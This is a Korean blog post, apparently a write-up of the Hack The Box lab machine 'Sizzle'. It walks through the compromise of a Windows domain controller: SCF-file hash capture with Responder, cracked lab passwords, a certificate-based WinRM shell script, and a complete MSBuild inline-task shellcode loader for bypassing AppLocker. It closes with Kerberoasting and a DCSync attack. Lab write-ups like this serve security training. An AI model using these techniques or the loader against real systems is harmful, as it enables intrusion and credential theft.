안녕하세요~ 오늘은 오랜만에 모의 침투를 할 것입니다.
오늘의 타깃은 Windows 시스템이고 난이도는 Insane입니다.
Sizzle는 단지 CTF뿐만 아니라 현실적인 윈도우 환경입니다.
SMB Share에 연결해 보니, 우리가 write할 수 있는 Share를 발견하고, Responder하고 악성 .scf 파일을 통해 유저의 NetNTLM hash를 받고, 홈페이지의 certificate 기능으로 cert를 만들어 WinRM 도움으로 foothold를 얻습니다.
권한상승은 kerberoast으로 다른 유저의 hash를 받고 admin shell은 DCSync 공격을 통해 받습니다.
Enumeration
nmap을 돌려보니 ftp, smb 그리고 80포트에 있는 웹서버가 가장 먼저 눈에 들어옵니다.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-16 20:55 EDT
Nmap scan report for 10.10.10.103
Host is up (0.10s latency).
Not shown: 65506 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_ssl-date: 2022-04-17T01:02:21+00:00; -1s from scanner time.
443/tcp open ssl/http Microsoft IIS httpd 10.0
| tls-alpn:
| h2
|_ http/1.1
| http-methods:
|_ Potentially risky methods: TRACE
|_ssl-date: 2022-04-17T01:02:21+00:00; -1s from scanner time.
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_http-server-header: Microsoft-IIS/10.0
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2022-04-17T01:02:21+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
|_ssl-date: 2022-04-17T01:02:21+00:00; -1s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2022-04-17T01:02:22+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after: 2020-07-02T17:58:55
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: 2022-04-17T01:02:22+00:00; 0s from scanner time.
|_http-title: Not Found
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after: 2019-07-02T20:26:23
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49675/tcp open msrpc Microsoft Windows RPC
49690/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49691/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
49708/tcp open msrpc Microsoft Windows RPC
49715/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016 (90%)
OS CPE: cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2016 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-04-17T01:01:44
|_ start_date: 2022-04-17T00:53:16
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 103.01 ms 10.10.14.1
2 103.04 ms 10.10.10.103
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 412.37 seconds
ftp 서버는 anonymous 로그인 가능하지만 아무것도 없습니다. 데이터가 전혀 없어서 문제가 없지만 기업의 직원도 아닌 사람이 ftp 서버에 연결하면 안 되지요.
Nmap output에 따라 IIS 서버에 있기 때문에 IIS.fuzz이라는 파일로 gobuster 돌려 보니 /certenroll/하고 certsrv이라는 페이지를 발견합니다. 유저 이름하고 비밀번호가 필요해서 일단은 도움이 안 될 것 같습니다.
SMB를 확인해 보니 여러 가지의 share가 보입니다. 하나씩 연결해 보았더니...
Department Shares이라는 Share 연결이 가능하더라고요. FTP 서버하고 똑같은 문제입니다. 외부인이 기업 데이터를 읽으면 안 됩니다.
smbcacls이라는 툴로 우리에게 write 권한이 있는 폴더가 존재하는지 확인해 보니~ 있네요! 우리에게 Users/Public에 파일을 올리는 권한이 있습니다. 따라서, .scf 파일로 공격해 보겠습니다. 자세한 내용은 https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/ 여기서 확인하실 수 있는데 간단하게 설명해 드리자면 어떤 유저가 우리의 .scf가 있는 share에 연결하면 그 유저는 .scf에 포함되어 있는 링크를 접속하고자 합니다. responder이라는 툴을 동시 사용하면 그 유저의 NTLM hash를 받을 수 있습니다.
.scf 파일을 간단하게 작성할 수 있습니다
왼쪽 사진은 .scf을 올렸고, 오른쪽 사진은 responder로 hash를 받았습니다.
responder는 이렇게 쓰면 됩니다: responder -I tun0 (hackthebox vpn을 사용하기 때문에 tun0를 사용합니다).
받은 ntlm hash를 john로 crack 가능합니다. hashcat로도 가능합니다.
amanda라는 유저의 비밀번호는 Ashare1972입니다. nmap 스캔에 5985하고 5986번 포트도 보이는데 evil-winrm으로 연결해 보았지만 실패했어요.
비밀번호로 아까 gobuster로 발견한 홈페이지에 연결할 수 있습니다. 로그인 후 다음 페이지가 보입니다. Certificate를 만든 다움에 아마 5985 혹은 5986 포트에 연결할 수 있을 것입니다.
먼저 kali box에서 key하고 csr파일을 생산합니다.
certificate request를 홈페이지의 "Saved Request"에 입력하여 Submit를 누른 다음에 생산된 certificate를 다운로드할 수 있습니다.
연결하기 위해서 "Alamot's shell"이라는 Ruby 프로그램을 사용합니다.
#!/usr/bin/ruby
require 'winrm'
# Author: Alamot
conn = WinRM::Connection.new(
endpoint: 'https://[sizzle ip 입력]:5986/wsman',
transport: :ssl,
client_cert: 'cert path 입력',
client_key: 'key path 입력',
:no_ssl_peer_verification => true
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
실행하고 shell를 얻습니다.
하지만 post-exploitation을 위해 이거저거 올리고 Recon을 하다가 자꾸 오류가 일어나서 검색해 보았는데 시스템에 ConstraintLanguage가 존재한다는 것을 알게 되었습니다. AppLocker도 있어서 두 방어 장치를 우회해야 할 것 같습니다.
위와 똑같은 블로그에서 AppLocker Bypass 글도 있습니다.
https://pentestlab.blog/2017/05/29/applocker-bypass-msbuild/
먼저 msfvenom으로 shellcode를 생산합니다. Applocker가 있기 때문에 아마 높은 확률로 AV도 존재할 것 같기 때문에 payload를 shikata ga nai라는 encoder로 encoding 합니다. 여기서는 C# shellcode를 생산합니다.
shellcode를 다음 script에 넣은 다음에 .csproj라는 file extension으로 저장합니다.
#https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[195] {
shellcode 입력 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
msfconsole를 준비하고 피해자의 시스템에 파일을 올려서 다음과 같이 작동 시키면 됩니다.
새로운 shell를 받고 Applocker하고 Constrainded LanguageMode 성공적으로 우회했으니까 Post exploitation이 쉬워집니다.
위에서 언급했던 방어 장치 말고도 "뭐가 있을까~" 했는데 firewall 규칙들을 확인해 보니 88번 포트는 차단 규칙이 있더라고요. 88번 포트는 Kerberos가 사용하는 포트이므로 혹시나 Kerberoasting이 가능할까 했습니다. 공격자인 kali 머신으로 접근하지 못하기 때문에 port forwarding을 해야 합니다. Chisel이라는 툴로 가능하지만 meterpreter 셸이 있기 때문에 proxychains을 사용해 보겠습니다.
Kerberoast하기 위해서 impacket의 GetUserSPNs.py를 사용할 수 있습니다. port forwarding을 해야 하므로 무조건 GetUserSPNs.py 앞에 proxychains를 입력해야 합니다. 조금 기다렸다가 mrlky이라는 유저의 해시를 받습니다.
위와 똑같이 john으로 hash를 crack하고 새로운 certificate 만든 다음에 winrm으로 연결할 수 있습니다. mrlky 유저의 비밀번호는 Football#7입니다.
새로운 유저에게 무슨 권한이 있는지 확인해 보면 mrlky에게 GetChanges하고 GetChangesAll이라는 권한이 있다는 것을 알 수 있습니다. 그 권한을 가지고 어떻게 exploit할 수 있는지 확인해 보니...
Bloodhound의 블로그를 발견했습니다. https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html#getchanges-getchangesall
BloodHound는 그래프 이론을 사용하여 Active Directory 환경 내의 숨겨진 그리고 종종 의도하지 않은 관계를 드러내기 때문에 Windows 해킹을 할 때 아주 실용적인 툴입니다. 블로그에 따라 DCSync 공격이 가능하고, 간단하게 secretsdump.py로 공격을 진행할 수 있습니다. mrlky 유저하고 그의 비밀번호를 사용해 보겠습니다.
Administrator 해시를 받았고, 그 해시하고 wmiexec.py로 shell을 받을 수 있습니다
가장 권한이 높은 유저가 됐습니다!
Hack The Box 해킹 모의 침투 #7 (0) | 2022.05.30 |
---|---|
Hack The Box 해킹 모의 침투 #6 (0) | 2022.05.20 |
Hack The Box 해킹 모의 침투 #4 (0) | 2022.05.19 |
Hack the Box 해킹 모의 침투 OpenAdmin #1 (0) | 2022.05.19 |
해킹 연습 방법과 해커들의 놀이터: HackTheBox (0) | 2022.05.19 |